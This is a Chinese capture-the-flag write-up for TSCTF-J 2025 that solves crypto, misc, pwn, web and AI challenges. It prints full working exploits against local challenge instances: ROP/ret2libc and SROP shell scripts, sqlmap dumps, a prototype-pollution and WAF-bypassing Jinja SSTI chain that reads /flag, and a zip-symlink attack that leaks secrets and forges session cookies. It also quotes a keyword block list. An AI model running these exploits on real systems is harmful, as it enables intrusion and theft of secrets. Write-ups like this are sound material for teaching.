TSCTF-J 2025 wp 本次TSCTF-J,共解出27道题,逆向差两道AK,主RE赛道 先做的题后补的wp,因此写的可能有点屎,wp后面会在博客更新完善[RE部分]
Crypto sign in 1 2 3 4 KEY1 = a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313c1819383df93 KEY2 ^ KEY1 = b38dc315bb7c75e3c9fa84f123898ff684fd36189e83c422cf0d2804c12b4c83 KEY2 ^ KEY3 = 11abed33a76d7be822ab718422844e1d40d72a96f02a288aa3b168165922138f FLAG ^ KEY1 ^ KEY2 ^ KEY3 = e1251504cdb300420a0520fc1c15b010d4bfb118c2477b78f3eafbe1acf0f121
F ^ K1 ^ K2 ^ K3 = X
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from binascii import unhexlifyK1 = int ('a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313c1819383df93' , 16 ) K2_xor_K1 = int ('b38dc315bb7c75e3c9fa84f123898ff684fd36189e83c422cf0d2804c12b4c83' , 16 ) K2_xor_K3 = int ('11abed33a76d7be822ab718422844e1d40d72a96f02a288aa3b168165922138f' , 16 ) F_xor_all = int ('e1251504cdb300420a0520fc1c15b010d4bfb118c2477b78f3eafbe1acf0f121' , 16 ) K2 = K2_xor_K1 ^ K1 K3 = K2 ^ K2_xor_K3 F = F_xor_all ^ K1 ^ K2 ^ K3 import base64flag_bytes = F.to_bytes((F.bit_length() + 7 ) // 8 , 'big' ) flag_bytes = flag_bytes.rjust(48 , b'\x00' ) flag = base64.b64decode(flag_bytes) print (flag)
TSCTF-J{I_like_Crypto}
p=~q 可以利用 p 和 q 之间的关系来分解 n。具体来说,p 和 q 是通过将随机生成的比特串取反后生成的,因此存在数学关系。通过这种关系,我们可以将 n 表示为关于变量 C 的二次方程,并求解 C 从而得到 p 和 q
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import mathfrom Crypto.Util.number import long_to_bytesn = 17051407421191257766878232954687995776275810092183184400406052880776283989210979642731778073370935322411364098277851627904479300390445258684605069414401583042318910193017463817007183769745191345053634189302047446965986220310713141272104307300803560476507359063543147558286276881771260972717080160544078251002420560031692800880310702557545555020333582797788637377901506395695115351043959528307703535156759957098992921231240480724115372547821536358993064005667175508572424424498140029596238691489470392031290179060300593482514446687661068760457021164559923920591924277937814270216802997593891640228684835585559706493543 c = 6853848340403815994585475502319517119889957571722212403728096345969080424626781659085329098693249503884838912886399198433606071464349852827030377680456139046436386063565577131001152891176064224036780277315958771309063181054101040906120879494157473100295607616604515810676954786850526056316144848921849017030095717895244910724234927693999607754055953250981051858498499963202512464388765761597435963200846457903991924487952495202449073962133164877330289865956477568456497103568127103331224273528931042804794039714404647322385366048042459109584024130199496106946124782839099804356052016687352504438568019898976023369460 e = 65537 A = 2 **1023 D = 9 * A * A - 4 * n root = math.isqrt(D) if root * root == D: C1 = (A - root) // 2 p1 = A + C1 q1 = 2 * A - C1 if p1 * q1 == n: p, q = p1, q1 else : C2 = (A + root) // 2 p2 = A + C2 q2 = 2 * A - C2 if p2 * q2 == n: p, q = p2, q2 else : raise ValueError("无法分解 n" ) else : raise ValueError("D 不是完全平方数" ) phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) m = pow (c, d, n) flag = long_to_bytes(m) print (flag.decode())
TSCTF-J{The_easiest_RSA_key!}
Cantor’s gifts 排列编码逆运算题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from math import factorialX = 2498752981111460725490082182453813672840574 now_message = b'5__r0tfg5f_34rtm__t_0ury0hft0t3n11c_t' n = len (now_message) a = [] rem = X for i in range (n): f = factorial(n - i - 1 ) a_i = rem // f a.append(a_i) rem = rem % f available = list (range (1 , n+1 )) reflection = [] for a_i in a: reflection.append(available.pop(a_i)) msg = [None ] * n for k, r in enumerate (reflection): msg[r-1 ] = now_message[k:k+1 ] message = b'' .join(msg) print ("message =" , message.decode())print ("flag =" , b"TSCTF-J{" + message + b"}" .decode())
野狐禅 题目给的 Paillier 密文里写入随机数是用 LCG 生成的,而且原始 LCG 输出值也附在文件里;利用这些值,可以把 Paillier 的随机掩码去掉,直接还原出 150 个明文序列项 y。
y 实际上是一个线性递推序列,前 75 项就是 flag 按三进制拆分后的系数,后 75 项是用这些系数递推出来的结果。把递推方程在模一个大素数下写成线性方程组,就可以通过高斯消元解出 75 个未知系数。
得到的 75 个系数就是 flag 的三进制数字。把它们按照低位在前的顺序拼回去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from Crypto.Util.number import long_to_bytesMOD = 1_000_003 def solve_gauss_mod (mat, rhs, mod ): n = len (mat) aug = [row[:] + [rhs[i] % mod] for i, row in enumerate (mat)] row = 0 for col in range (n): pivot = next ((r for r in range (row, n) if aug[r][col] % mod), None ) if pivot is None : continue aug[row], aug[pivot] = aug[pivot], aug[row] inv = pow (aug[row][col], -1 , mod) aug[row] = [(val * inv) % mod for val in aug[row]] for r in range (n): if r != row and aug[r][col] % mod: factor = aug[r][col] % mod aug[r] = [(aug[r][c] - factor * aug[row][c]) % mod for c in range (n + 1 )] row += 1 sol = [0 ] * n for r in range (n): leading = next ((c for c in range (n) if aug[r][c] % mod), None ) if leading is not None : sol[leading] = aug[r][-1 ] % mod return sol with open ("challenge.txt" ) as f: lines = [line.strip() for line in f if line.strip()] n = int (lines[0 ].split(": " )[1 ]) k = int (lines[2 ].split(": " )[1 ]) vals = list (map (int , lines[4 :])) ciphertexts = vals[:2 * k] raws = vals[2 * k:] n2 = n * n y = [] for c, raw in zip (ciphertexts, raws): r = raw % n rn = pow (r, n, n2) gm = (c * pow (rn, -1 , n2)) % n2 y.append((gm - 1 ) // n) mat, rhs = [], [] for i in range (k): mat.append([y[i + k - 1 - j] % MOD for j in range (k)]) rhs.append(y[k + i] % MOD) coeffs = solve_gauss_mod(mat, rhs, MOD) value = sum (d * pow (3 , i) for i, d in enumerate (coeffs)) flag = long_to_bytes(value) print (flag.decode())
TSCTF-J{We_sh0u1d_kn0w!}
Microsoft’s gifts deepseek立大功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from pwn import *from Crypto.Util.number import inversep = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551 class EllipticCurve : def __init__ (self, a: int , b: int , p: int , g: tuple , name: str = "secp256r1" ): self .a = a self .b = b self .p = p self .g = g self .name = name def is_on_curve (self, point: tuple ) -> bool : if point is None : return True x, y = point return (y * y - x * x * x - self .a * x - self .b) % self .p == 0 def add (self, p1: tuple , p2: tuple ) -> tuple : if p1 is None : return p2 if p2 is None : return p1 x1, y1 = p1 x2, y2 = p2 if x1 == x2 and y1 != y2: return None if x1 == x2: m = (3 * x1 * x1 + self .a) * inverse(2 * y1, self .p) else : m = (y1 - y2) * inverse(x1 - x2, self .p) m %= self .p x3 = (m * m - x1 - x2) % self .p y3 = (y1 + m * (x3 - x1)) % self .p y3 = (-y3) % self .p return (x3, y3) def multiply (self, k: int , point: tuple ) -> tuple : if point is None : return None if k < 0 : return self .multiply(-k, self .negate(point)) result = None addend = point while k: if k & 1 : result = self .add(result, addend) addend = self .add(addend, addend) k >>= 1 return result def negate (self, point: tuple ) -> tuple : if point is None : return None x, y = point return (x, (-y) % self .p) def main (): r = remote('127.0.0.1' , 61018 ) r.recvuntil(b'public key is ' ) pub_str = r.recvline().decode().strip() print (f"Received public key: {pub_str} " ) pub_str = pub_str.replace('(' , '' ).replace(')' , '' ).replace("'" , "" ).replace(" " , "" ) x_str, y_str = pub_str.split(',' ) x_p = int (x_str, 16 ) y_p = int (y_str, 16 ) public_key = (x_p, y_p) print (f"Parsed public key: ({hex (x_p)} , {hex (y_p)} )" ) curve = EllipticCurve(a, b, p, None ) inv2 = inverse(2 , n) print (f"inverse of 2 mod n: {hex (inv2)} " ) G_half = curve.multiply(inv2, public_key) print (f"New base point G: ({hex (G_half[0 ])} , {hex (G_half[1 ])} )" ) if curve.is_on_curve(G_half): print ("New base point is on curve ✓" ) else : print ("ERROR: New base point is not on curve!" ) return r.recvuntil(b'Tell me your curve now: [p, a, b]' ) r.sendline(f'[{p} , {a} , {b} ]' .encode()) print ("Sent curve parameters" ) r.recvuntil(b'Tell me your g which is on the curve: [gx, gy]' ) r.sendline(f'[{G_half[0 ]} , {G_half[1 ]} ]' .encode()) print ("Sent base point G" ) r.recvuntil(b'Tell me your private_key: key' ) r.sendline(b'2' ) print ("Sent private key: 2" ) result = r.recvline().decode() print (f"Result: {result} " ) try : while True : line = r.recvline(timeout=2 ).decode() print (line) except : pass r.close() if __name__ == '__main__' : main()
TSCTF-J{Microsoft-CVE-2020-0601}
MISC 调查问卷 TSCTF-J{Th4nk5_F0r_Y0ur_4ttend1n9}
卢森堡的秘密 图片binwalk -e secret.png 发现有zip
提出来的时候失败了
万能的AI给了个神奇的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import struct, zlibw, h, bpp = 1920 , 1607 , 3 def paeth (a, b, c ): p = a + b - c pa, pb, pc = abs (p - a), abs (p - b), abs (p - c) if pa <= pb and pa <= pc: return a if pb <= pc: return b return c with open ("secret.png" , "rb" ) as f: assert f.read(8 ) == b"\x89PNG\r\n\x1a\n" idat = b"" while True : length, ctype = struct.unpack(">I4s" , f.read(8 )) data, crc = f.read(length), f.read(4 ) if ctype == b"IDAT" : idat += data elif ctype == b"IEND" : break raw = zlib.decompress(idat) stride, prev, pixels, off = w * bpp, [0 ] * (w * bpp), [], 0 for _ in range (h): ftype = raw[off] row = bytearray (raw[off + 1 :off + 1 + stride]) if ftype == 1 : for i in range (stride): row[i] = (row[i] + (row[i - bpp] if i >= bpp else 0 )) & 0xFF elif ftype == 2 : for i in range (stride): row[i] = (row[i] + prev[i]) & 0xFF elif ftype == 3 : for i in range (stride): left = row[i - bpp] if i >= bpp else 0 up = prev[i] row[i] = (row[i] + ((left + up) >> 1 )) & 0xFF elif ftype == 4 : for i in range (stride): left = row[i - bpp] if i >= bpp else 0 up = prev[i] up_left = prev[i - bpp] if i >= bpp else 0 row[i] = (row[i] + paeth(left, up, up_left)) & 0xFF pixels.extend(row) prev, off = list (row), off + stride + 1 bits = [p & 1 for p in pixels] msg = bytearray () for i in range (0 , len (bits), 8 ): byte = 0 chunk = bits[i:i + 8 ] if len (chunk) < 8 : break for b in chunk: byte = (byte << 1 ) | b if byte == 0 : break msg.append(byte) print (msg.decode())
TSCTF-J{Th3_sEcre7_0f_L$B!}
Meow 解压meow.zip得到xml 里面有base64码表
TSCTF-J{1_Am_4_CaT_MeowMe0w!!!}
Pwn ret 超级入门题,直接ret2backdoor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *io = remote('127.0.0.1' , 50262 ) padding = 0x10 + 0x8 io.recvuntil(b"sign-in!" ) payload = b'a' * padding + p64(0x400676 ) io.sendline(payload) io.interactive()
pop 利用溢出打pop ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import osfrom subprocess import PIPEfrom pwn import *os.environ.setdefault("PWNLIB_CACHE_DIR" , "./.pwncache" ) os.makedirs("./.pwncache" , exist_ok=True ) context.cache_dir = "./.pwncache" context.binary = ELF("./pwn" ) libc = ELF("./libc-2.23.so" ) HOST, PORT = "127.0.0.1" , 58982 POP_RDI_RET = 0x400713 RET = 0x4004c9 PUTS_PLT = context.binary.plt["puts" ] PUTS_GOT = context.binary.got["puts" ] MAIN = context.binary.symbols["main" ] OFFSET = 0x18 def start (): return remote(HOST, PORT) def leak_libc (p ): payload = flat( b"A" * OFFSET, POP_RDI_RET, PUTS_GOT, PUTS_PLT, MAIN, ) p.sendlineafter(b"No backdoors this time!\n" , payload) leak_line = p.recvline().rstrip(b"\n" ) leak_line += b"\x00" * (8 - len (leak_line)) leak_addr = u64(leak_line) libc_base = leak_addr - libc.symbols["puts" ] log.success(f"Leaked puts@GLIBC: {hex (leak_addr)} " ) log.success(f"Computed libc base: {hex (libc_base)} " ) return libc_base def pwn (): p = start() libc_base = leak_libc(p) system = libc_base + libc.symbols["system" ] bin_sh = libc_base + next (libc.search(b"/bin/sh" )) log.info(f"system @ {hex (system)} " ) log.info(f"'/bin/sh' @ {hex (bin_sh)} " ) payload = flat( b"A" * OFFSET, RET, POP_RDI_RET, bin_sh, system, ) p.sendlineafter(b"No backdoors this time!\n" , payload) p.interactive() if __name__ == "__main__" : pwn()
Easy-syscall 打SROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context.binary = elf = ELF("./pwn" , checksec=False ) context.arch = "amd64" context.os = "linux" def build_payload () -> bytes : frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = next (elf.search(b"/bin/sh\x00" )) frame.rsi = 0 frame.rdx = 0 frame.rsp = elf.bss() + 0x800 frame.rip = elf.sym["magic" ] + 0xF frame_bytes = bytes (frame) return b"" .join( [ b"A" * 48 , frame_bytes[:8 ], p64(elf.sym["magic" ]), frame_bytes[8 :], ] ) def connect (): if args.LOCAL: return process(elf.path, stdin=PIPE, stdout=PIPE) host = args.HOST or "127.0.0.1" port = int (args.PORT or 57192 ) return remote(host, port) def main (): io = connect() io.recvuntil(b"hidden here...\n" ) io.send(build_payload()) io.interactive() if __name__ == "__main__" : main()
Web EZ_SQL sqlmap一把梭
1 2 3 4 python sqlmap.py -u "http://127.0.0.1:61945/" --data="id=2" -p id --batch --random-agent --threads=5 --level=3 --risk=2 --dbs --banner --current-user python sqlmap.py -u "http://127.0.0.1:61945/" --data="id=2" -p id -D welcome --tables --batch --union-cols=3 python sqlmap.py -u "http://127.0.0.1:61945/" --data="id=2" -p id -D welcome -T flag --columns --batch --union-cols=3 python sqlmap.py -u "http://127.0.0.1:61945/" --data="id=2" -p id -D welcome -T flag --dump --batch --union-cols=3
EZ_Login(签到) 密码是simple 弱密码爆破
本地管理员要求xff 127.0.0.1
进去后解码 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJmbGFnIjoiVFNDVEYtSnt3MzFjMG0zXzcwXzdoM193MzhfajB1cm4zeX0ifQ.
1 TSCTF-J{w31c0m3_70_7h3_w38_j0urn3y}
Druid 访问127.0.0.1:druid/v2/sql
密码也是admin
EZ_PY 提示source
1 http://127.0.0.1:58379/source
拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 import randomimport stringfrom flask import Flask, request, jsonify, render_template_stringfrom functools import wrapsimport jwtapp = Flask(__name__) app.config['SECRET_KEY' ] = '' .join(random.sample(string.ascii_letters + string.digits, 24 )) users = { "c1432" : "123456" } def make_response (message: str , code: int = 200 , data=None ): """Unified response format""" resp = {'message' : message} if data is not None : resp['data' ] = data return jsonify(resp), code def waf_filter (input_str ): if not input_str: return input_str input_str = str (input_str) dangerous_strings = [ 'class' , 'bases' , 'subclasses' , 'mro' , 'globals' , 'builtins' , 'import' , 'eval' , 'exec' , 'open' , 'file' , 'read' , 'write' , 'os' , 'subprocess' , 'config' , 'request' , 'session' , 'g' , 'url_for' , 'get_flashed_messages' , '{%' , '%}' , '{#' , '#}' , '{{' , '}}' ] for string in dangerous_strings: if string in input_str: return "WAF blocked: Dangerous pattern detected" filtered = input_str.replace('' , '' ) filtered = filtered.replace('javascript:' , '' ) filtered = filtered.replace('onload=' , '' ) filtered = filtered.replace('onerror=' , '' ) if "hello" in filtered: filtered = filtered.replace("hello" , "{{" ) if "hacker" in filtered: filtered = filtered.replace("hacker" , "}}" ) return filtered class User : def __init__ (self, role='user' ): self .username = None self .password = None self .role = role def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def token_required (f ): @wraps(f ) def decorated (*args, **kwargs ): token = request.headers.get('Authorization' ) if not token: return make_response('Authorization token is required.' , 401 ) try : token = token.split(" " )[1 ] data = jwt.decode(token, app.config['SECRET_KEY' ], algorithms=["HS256" ]) current_user = data['user' ] role = data['role' ] except Exception as e: return make_response(f'Invalid token: {str (e)} ' , 401 ) return f(current_user, role, *args, **kwargs) return decorated @app.route('/register' , methods=['POST' ] ) def register (): data = request.json if not data: return make_response('Username and password are required.' , 400 ) user = User() merge(data, user) if not user.username or not user.password: return make_response('Username and password are required.' , 400 ) users[user.username] = user.password return make_response('Registration successful.' , 201 ) @app.route('/login' , methods=['POST' ] ) def login (): auth = request.json if not auth: return make_response('Username and password are required.' , 400 ) username = auth.get('username' ) password = auth.get('password' ) if not username or not password: return make_response('Username and password are required.' , 400 ) if users.get(username) != password: return make_response('Invalid username or password.' , 401 ) token = jwt.encode( {'user' : username, 'role' : 'user' }, app.config['SECRET_KEY' ], algorithm="HS256" ) return jsonify({'token' : token}) @app.route('/protected' , methods=['GET' ] ) @token_required def protected (current_user, role ): if role != 'admin' : return make_response( f'Access denied: User {current_user} ({role} ) does not have sufficient privileges.' , 403 ) filtered_user = waf_filter(current_user) return render_template_string( f"Hello, {filtered_user} ! You have access to this protected resource." ) @app.route('/' ) def index (): with open ('source/index.html' , 'r' , encoding='utf-8' ) as f: return f.read() @app.route('/register' ) def register_page (): with open ('source/register.html' , 'r' , encoding='utf-8' ) as f: return f.read() @app.route('/success' ) def success_page (): with open ('source/success.html' , 'r' , encoding='utf-8' ) as f: return f.read() @app.route('/source' ) def show_source (): with open (__file__, 'r' , encoding='utf-8' ) as f: return f.read() if __name__ == '__main__' : app.run(host='0.0.0.0' )
merge 在 register 请求体上递归地对 User 对象和其类做任意属性赋值,可以一路改写 User.init _.globals [‘app’].config[‘SECRET_KEY’],从而把随机密钥换成指定的值;之后就能自己签发 JWT。
waf_filter 只做字符串替换,hello→,其黑名单又可以用字符串拼接和 %c 生成函数绕过,因此可以把用户名字段变成任意 Jinja 表达式并触发 SSTI
先把密钥改成已知值如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "username": "attacker", "password": "pass", "__class__": { "__init__": { "__globals__": { "app": { "config": { "SECRET_KEY": "mysecret" } } } } }
1 2 3 新密钥签一个 role 为 admin 的 JWT,并把 user 字段写成绕过 WAF 的模板表达式。示例载荷会把 __globals__、__builtins__、open、read、flag 等关键字拆成字符串拼接与 %c 生成,从而读取 /flag eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiaGVsbG8gKCgobGlwc3VtfGF0dHIoJ19fJyB-ICgnJWMnJTEwMykgfiAnbG9iYWxzX18nKSlbJ19fYnVpbCcgfiAndGluc19fJ11bJ28nIH4gJ3BlbiddKCcvJyB-ICdmbGEnIH4gKCclYyclMTAzKSkpfGF0dHIoJ3JlJyB- ICdhZCcpKCkpIGhhY2tlciIsInJvbGUiOiJhZG1pbiJ9.scA4Rp1MLiXDPPu-ye8xGkgaBtC-HTJ2iILqY7mKoVQ
这里 hello … hacker 在过滤后会变成 ,表达式利用 lipsum 的全局字典拿到 open(‘/fla’ ~ ‘%c’%103) 并调用 read()。携带该令牌访问受保护接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import base64import hashlibimport hmacimport jsonimport requestsBASE_URL = "http://127.0.0.1:58379" SECRET = "mysecret" def b64url (data: bytes ) -> bytes : return base64.urlsafe_b64encode(data).rstrip(b"=" ) def craft_token (secret: str ) -> str : header = {"alg" : "HS256" , "typ" : "JWT" } ssti_payload = ( "hello (((lipsum|attr('__' ~ ('%c'%103) ~ 'lobals__'))['__buil' ~ 'tins__']" "['o' ~ 'pen']('/' ~ 'fla' ~ ('%c'%103)))|attr('re' ~ 'ad')()) hacker" ) body = {"user" : ssti_payload, "role" : "admin" } header_b64 = b64url(json.dumps(header, separators=("," , ":" )).encode()) body_b64 = b64url(json.dumps(body, separators=("," , ":" )).encode()) signing_input = header_b64 + b"." + body_b64 signature = b64url(hmac.new(secret.encode(), signing_input, hashlib.sha256).digest()) return (signing_input + b"." + signature).decode() def poison_secret (base_url: str , new_secret: str ) -> None : payload = { "username" : "attacker" , "password" : "pass" , "__class__" : { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" : new_secret, } } } } }, } session = requests.Session() session.trust_env = False resp = session.post(f"{base_url} /register" , json=payload, proxies={"http" : None , "https" : None }) resp.raise_for_status() def exploit (base_url: str , secret: str ) -> str : poison_secret(base_url, secret) token = craft_token(secret) session = requests.Session() session.trust_env = False headers = {"Authorization" : f"Bearer {token} " } resp = session.get(f"{base_url} /protected" , headers=headers, proxies={"http" : None , "https" : None }) resp.raise_for_status() return resp.text def main () -> None : try : result = exploit(BASE_URL, SECRET) print (result) except requests.RequestException as exc: raise SystemExit(f"failed: {exc} " ) if __name__ == "__main__" : main()
TSCTF-J{y0u_c0mp1373d_7h3_py_pr0813m}!
FileSystem 上传 ZIP 时使用系统 unzip,不会过滤符号链接,可在个人上传目录写入一个指向 / 的软链接(示例命名为 root),随后通过 /files/root/<路径> 访问宿主文件系统。
先访问 /files/root/app/.env 泄露 SESSION_SECRET,再读 /files/root/app/server.js 获取 store.set(‘…’) 中的开发者会话 UUID。
1 用 SESSION_SECRET 对该 UUID 计算 connect.sid(s:<uuid>.<HMAC>),设置此 cookie 并伪造请求头 X-Forwarded-For: 127.0.0.1,即可满足 developmentOnly 中“本地开发者”条件并访问 /debug/files。
/debug/files 接受外部传入的 sessionId,缺乏路径限制。传入 ../../../../.. 等遍历值即可列出真正的根目录,发现入口脚本随机生成的 8 位目录名。
最后再上传一个软链接(如 flag 指向 /<随机目录>/flag.txt),通过 /files/flag 成功读取 flag。
上传带有符号链接的 ZIP,读取 /app/.env 和 /app/server.js,获取 SESSION_SECRET 与开发者会话 UUID。
使用密钥伪造 connect.sid,访问 /debug/files 并目录穿越枚举根目录,确定随机 flag 目录。
再次上传指向 flag.txt 的符号链接,通过 /files/flag 直接获取 flag。
AI写脚本太强了 0.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 import base64import hashlibimport hmacimport ioimport reimport sysimport zipfilefrom typing import Dict , List import requestsBASE_URL = "http://127.0.0.1:56046" ROOT_HEADERS = {"User-Agent" : "solve.py" } def build_zip (symlinks: Dict [str , str ] ) -> bytes : """构造包含符号链接的 ZIP 二进制数据。""" buf = io.BytesIO() with zipfile.ZipFile(buf, "w" ) as zf: for name, target in symlinks.items(): entry = zipfile.ZipInfo(name) entry.create_system = 3 entry.external_attr = 0o120777 << 16 zf.writestr(entry, target) buf.seek(0 ) return buf.getvalue() def upload_zip (sess: requests.Session, mapping: Dict [str , str ] ) -> None : """上传符号链接 ZIP 到 /upload。""" payload = build_zip(mapping) files = {"zipfile" : ("exploit.zip" , payload, "application/zip" )} resp = sess.post(f"{BASE_URL} /upload" , files=files, headers=ROOT_HEADERS, allow_redirects=False , timeout=10 ) if resp.status_code != 302 : raise RuntimeError(f"上传 ZIP 失败,HTTP {resp.status_code} :{resp.text[:200 ]} " ) def fetch_named_file (sess: requests.Session, name: str ) -> str : """通过 /files/<name> 读取文件内容。""" resp = sess.get(f"{BASE_URL} /files/{name} " , headers=ROOT_HEADERS, timeout=10 ) if resp.status_code != 200 : raise RuntimeError(f"读取 {name} 失败,HTTP {resp.status_code} " ) return resp.text def sign_cookie (value: str , secret: str ) -> str : """根据 express-session 规则签名 connect.sid。""" mac = hmac.new(secret.encode(), value.encode(), hashlib.sha256).digest() sig = base64.b64encode(mac).decode().rstrip("=" ) return f"s:{value} .{sig} " def debug_list (dev_sess: requests.Session, session_id: str ) -> List [str ]: """访问 /debug/files 并解析返回的文件名列表。""" headers = dict (ROOT_HEADERS) headers["X-Forwarded-For" ] = "127.0.0.1" params = {"sessionId" : session_id} resp = dev_sess.get(f"{BASE_URL} /debug/files" , headers=headers, params=params, timeout=10 ) if resp.status_code != 200 : raise RuntimeError(f"/debug/files 访问失败,HTTP {resp.status_code} :{resp.text[:200 ]} " ) return re.findall(r'<li class="list-group-item">\s*([^<\s]+)' , resp.text) def main () -> None : print ("[+] 步骤 0:初始化普通用户会话" ) user = requests.Session() user.get(BASE_URL + "/" , headers=ROOT_HEADERS, timeout=10 ) print ("[+] 步骤 1:上传 env/server 符号链接 ZIP" ) upload_zip(user, {"env" : "/app/.env" , "server" : "/app/server.js" }) env_content = fetch_named_file(user, "env" ) match_secret = re.search(r"SESSION_SECRET=(.+)" , env_content) if not match_secret: raise RuntimeError("未能在 .env 中找到 SESSION_SECRET" ) session_secret = match_secret.group(1 ).strip() print (f"[+] SESSION_SECRET = {session_secret} " ) server_js = fetch_named_file(user, "server" ) match_dev = re.search(r"store\.set\('([^']+)'\s*," , server_js) if not match_dev: raise RuntimeError("未能在 server.js 中找到开发会话 UUID" ) dev_session_id = match_dev.group(1 ) print (f"[+] 开发者会话 UUID = {dev_session_id} " ) print ("[+] 步骤 2:伪造 connect.sid 并访问 /debug/files" ) dev = requests.Session() connect_sid = sign_cookie(dev_session_id, session_secret) dev.cookies.set ("connect.sid" , connect_sid, domain="127.0.0.1" , path="/" ) root_entries = debug_list(dev, "../../../../.." ) print (f"[+] 根目录条目:{root_entries} " ) flag_dir = next ((name for name in root_entries if re.fullmatch(r"[a-z0-9]{8}" , name)), None ) if not flag_dir: raise RuntimeError("未找到符合格式的 flag 目录名" ) print (f"[+] Flag 目录 = /{flag_dir} " ) print ("[+] 步骤 3:上传指向 flag.txt 的符号链接并读取" ) upload_zip(user, {"flag" : f"/{flag_dir} /flag.txt" }) flag_content = fetch_named_file(user, "flag" ).strip() print (f"[+] Flag = {flag_content} " ) if __name__ == "__main__" : try : main() except Exception as exc: print (f"[-] 运行失败:{exc} " , file=sys.stderr) sys.exit(1 )
TSCTF-J{@r3-yOu-a_SYMboIIC-LiNK-m4St3R?274e7a}
AI JustReverse AI逆向题
可以看到原流程,把 flag 逐字符转成 8 位二进制 ,组成张量后,依次经过 conv1、conv2、linear、conv3,最后写成 ciphertext.txt。
因为 conv1 权重是 [1,2;4,8] 且 conv2 只有 0.5 的权重、正偏置,ReLU 永远不会把值裁掉,相当于把每 4 位二进制压成一个 0–15 的整数之后线性放大,对应关系可以反推。
关键是 model.pth 内已经存了所有权重,用 unzip + 伪造 torch 模块即可用 pickle 读出,再用 numpy 分别逆向:先从 ciphertext.txt 里减去 conv3.bias,按照卷积公式顺序解开 2×2 卷积;得到的 58×58 矩阵 reshape 成向量,减去 linear.bias,利用 np.linalg.lstsq 求解线性方程组拿回 conv2 的输出。
最后把线性层输出还原到 0–15 之间的数字,再根据 [1,2,4,8] 的系数拆回每 4 位二进制,合并为 flag 字符。整个过程就是顺序逆操作 + 线性求解。
